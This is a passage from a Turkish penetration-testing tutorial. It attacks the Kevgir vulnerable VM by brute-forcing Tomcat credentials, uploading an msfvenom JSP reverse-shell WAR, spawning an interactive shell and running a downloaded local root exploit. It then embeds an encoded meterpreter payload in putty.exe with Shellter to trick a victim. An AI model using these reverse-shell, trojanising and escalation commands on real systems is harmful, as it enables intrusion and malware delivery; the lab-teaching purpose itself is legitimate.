ettikten sonra bu servisleri ve versiyonları detaylıca araştırarak bir zaafiyet 
varmı exploit db de yada başka site ve bloglarda bir şey varsa o hedef 
üzerinden sızmaya çalışılır.Bu makinede birden fazla açıklık bulunmakta fakat 
ben Tomcat üzerinden gideceğim.

https://canyoupwn.me/kevgir-vulnerable-vm/
https://canyoupwn.me/kevgir-vulnerable-vm/
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Sızma Testi Örnekleri (Kevgir)
Metasploiti açarak tomcat ile ilgili auxiliary ve exploitleri arıyoruz.



Sızma Testi Örnekleri (Kevgir)
İlk olarak tomcat_mgr_login auxiliary ile tomcat servisinin default şifrelerini 
deniyoruz.Amacımız brute force yöntemi ile kullanıcı adı ve şifresini tespit 
etmek.



Sızma Testi Örnekleri (Kevgir)



Sızma Testi Örnekleri (Kevgir)



Sızma Testi Örnekleri (Kevgir)



Sızma Testi Örnekleri (Kevgir)

Kullanıcı adı ve şifresini tespit ettikten sonra tomcat_mgr_upload exploitini 
kullanarak sisteme sızmaya çalışıyoruz.Tabi 192.168.237.137:8080/manager 
adresi ile tarayıcıdan tomcat a giriş yaparak shellde atabilirsiniz.Farklı yollar ve 
yöntemler mevcut.

Web adresi üzerinden bulduğumu kullanıcı adı ve şifre ile login olarak msfvenom 
ile backdoor oluşturup bu backdoor yardımı ile shell almayı göstereceğim.



Sızma Testi Örnekleri (Kevgir)

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.237.128 LPORT=4444 
-f war > /root/Desktop/shell.war

 ile shell.war adında jsp backdoor u oluşturuyoruz. jar -xvf shell.war komutu ile 
shell.war içindekileri dışarı çıkarıp dosyaları görebilmekteyiz. 

Yükledikten sonra açacağımız jsp dosyasının adı önemli.
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Sızma Testi Örnekleri (Kevgir)
192.168.237.137:8080/manager/  adresini tarayıcıdan girerek tomcat in web 
arayüzüne girebiliriz.girişte kullanıcı adı ve şifresi sorulacak biraz önce yukarıda 
elde ettiğimiz tomcat:tomcar kullanıcı adı ve şifresi ile erişebileceğiz.



Sızma Testi Örnekleri (Kevgir)
Giriş yaptıkdan sonra tomcatin içinden war dosyamızı upload adarak 
bacdoorumuzu sisteme yüklüyoruz.



Sızma Testi Örnekleri (Kevgir)

Dosyamızı yükledikden sonra metasploite girerek backdoorumuzu 
çalıştırmadan önce gerekli nodulümüze bağlanacağımız bacdoor payloadımızı 
ve bilgilerimizi giriyoruz.

Bu noktadan sonra tek yapmamız gereken 
192.168.237.137:8080/shell/hoxafoxvkhn.jsp adresimizi tarayıcadan girerek 
backdoorumuzu çalıştırıp metasploit ile shell açmak.



Sızma Testi Örnekleri (Kevgir)



Sızma Testi Örnekleri (Kevgir)



Sızma Testi Örnekleri (Kevgir)

Yukarıda gördüğünüz gibi shell açıldı.Bu senaryoda hem metasploit modülü ile 
hemde kendi backdoorumuzu web arayüzünden yükleyerek iki farklı yoldan shell 
aldık.
Bu aşamadan sonra Privileges Escalation ve Post Exploitation aşamaları 
gerçekleştirmemiz gerekmektedir.Şimdi dönelim meterpreter komut satırından sonra 
yapacaklarımıza. Meterpreter komut satırında shell yazarak linux komut satırına 
düşüyoruz.
Fakat buradaki komut satırı etkilişimli değil.Bu demek oluyor ki girdi bekleyen linux 
komutlarını çalıştıramıyoruz.
Mesala kullanıcı değiştirirken sudo su komutunu girdikten sonra şifre girdisi istiyor bu 
shell buna imkan vermiyor.
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Sızma Testi Örnekleri (Kevgir)

python -c ‘import pty; pty.spawn(“/bin/sh”)’  yazarak shellimizi etkileşimli shelle 
çeviriyoruz.
Resimdede gördüğünüz gibi artık $ işareti geldi.home dizinine giderek orada user ve 
admin olarak iki kullanıcı olduğunu gördük.
Şimdi buradaki admin kullanıcısı aklınızı karıştırmasın.Ali,Ahmet gibi bir kullanıcı 
yetkili bir kullanıcı değil linuxta en yetkili kullanıcı root tur.
Bu sistemdede hedefimiz root olmak.
Şimdi burdaki admin kullanıcısına geçmeye çalışacağız.
Aynı tomcatde default şifreler denendiği gibi admin kullanıcısının şifreside en çok 
kullanılan bir kaç şifre denedim.123456,password,admin gibi bunlardan admin admin 
kullanıcısının şifresi ise ve admine geçtik.
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Sızma Testi Örnekleri (Kevgir)

Şimdi uname -a komutu ile sistemin çekirdek bilgisini öğrendik.14.04.1 
Ubuntu çalışmakta.
Şuan admin kullanıcısındayız yapacağımız işlemler kısıtlı bunun için root 
kullanıcısına geçmemiz gerekmekte.
Bunun içinde Local Root Exploitler bulunmakta şansımıza var ise bu exploit 
türünü çalıştırırak bulunduğunuz kullanıcıdan root kullanıcısına geçmemizi 
sağlamakta.
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Sızma Testi Örnekleri (Kevgir)
Bulduğumuz exploiti kopyalayarak shell aldığımız terminalde bir .c dosyası açarak 
içine yapıştırıyoruz.
Yada başa bir şekilde bu exploit dosyasını shell aldığımız makinaya yüklüyoruz.
Tercihen bağlantı adresinden wget ile indirmenizi öneririm.
( wget https://www.exploit-db.com/download/39166 )

Dosya bulunduğunuz dizine 39166 adıyla kaydedilir. mv 39166 localexploit.c komutu 
ile dosyanın adını ve uzantısını değiştirebilirsiniz.
Dosyamızı kaydetip çıktıktan sonra gcc localexploit.c komutu ile c kodumuzu 
derliyoruz.
Ve bize derlenmiş olarak a.out çıktısını veriyor.Bunuda ./a.out komutu ile 
çalıştırdığımızda sistemde root kullanıcısına geçiyoruz.

Bundan sonra sistemde istediğiniz her şeyi yapabilirsiniz.Sınırsız yetkiye sahipsiniz.
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Sızma Testi Örnekleri (Backdoor Hazırlama)

Sistemde yazılımsal açıklıklardan yararlanmak yerine zararlı bir dosya ile 
sisteme sızabilirsiniz.Bu zararlı dosyayı bir çok farklı yolla 
oluşturabilirsiniz.Bilginiz ölçüsünde kendiniz yazabilirsiniz,msfvenom ile 
kendiniz bir zararlı uygulama oluşturabilirsiniz ya da her hangi bir 
uygulamaya payload yerleştirebilirsiniz.

                   Msfvenom ile Backdoor Oluşturma 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.237.128 
LPORT=4444 -f exe -o /root/Desktop/zararli.exe -e x86/shikata_ga_nai -i 20



Sızma Testi Örnekleri (Backdoor Hazırlama)

Şimdi gelelim putty.exe ye Payloadımızı yerleştirmeye bunu yine 
msfvenom ile yapabilmekteyiz.Ya da bunun için başka bir alternatif olan 
Shellter uygulaması ile yapabilmekteyiz.Shellter windowsda çalışan bir 
uygulamadır fakat wine ile Linuxta 
çalıştırılmaktadır.https://www.shellterproject.com/  adresinden uygulamayı 
indirebilirsiniz.http://www.putty.org/  adresindende putty.exe uygulamasını 
indirebilirsiniz.

https://www.shellterproject.com/
http://www.putty.org/


Sızma Testi Örnekleri (Backdoor Hazırlama)

Daha sonra aşağıdaki ekran görüntülerindeki gibi yerleştirilecek payload 
encoder haberleşilecel ip ve port bilgilerini shellter a girerek putty.exe artık 
bizim hazırladığımız backdoorumuz olacaktır.Her adım ekran 
görüntülerinde mevcuttur.



Sızma Testi Örnekleri (Backdoor Hazırlama)



Sızma Testi Örnekleri (Backdoor Hazırlama)
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Sızma Testi Örnekleri (Backdoor Hazırlama)

Artık backdoorumuz oluştu.Enter a basarak shellter kapanacaktır.



Sızma Testi Örnekleri (Backdoor Hazırlama)

Bundan sonraki kısım oluşturduğumuz uygulamayı kurbanın çalıştırılması bir 
senaryo ile bu sağlanmalıdır.

Metasploitimizi açarak multi handlerı açarak dinleme moduna geçiyoruz ve 
uygulama çalıştığı anda oturum elde etmeye çalışacağız.

Artık her şey tamam sadece uygulayı kurbanımızın indirip çalıştırması 
gerekmektedir.

Uygulama açıldıktan sonra backdoorumuzu oluştururken haberleşmesi için 
girdiğimiz ip ve port numaralarıyla haberleşecek ve bize shell verecektir.



Sızma Testi Örnekleri (Backdoor Hazırlama)



Sızma Testi Örnekleri (Backdoor Hazırlama)



Sızma Testi Örnekleri (Backdoor Hazırlama)



HERKESE TEŞEKKÜRLER...

Mail: info@gurelahmet.com

Blog: www.gurelahmet.com

Github: https://github.com/ahmetgurel

Linkedin:  https://tr.linkedin.com/in/ahmetgurell 

Exploit-DB: https://www.exploit-db.com/author/?a=8736 

mailto:info@gurelahmet.com
http://www.gurelahmet.com
https://github.com/ahmetgurel
https://tr.linkedin.com/in/ahmetgurell
https://www.exploit-db.com/author/?a=8736
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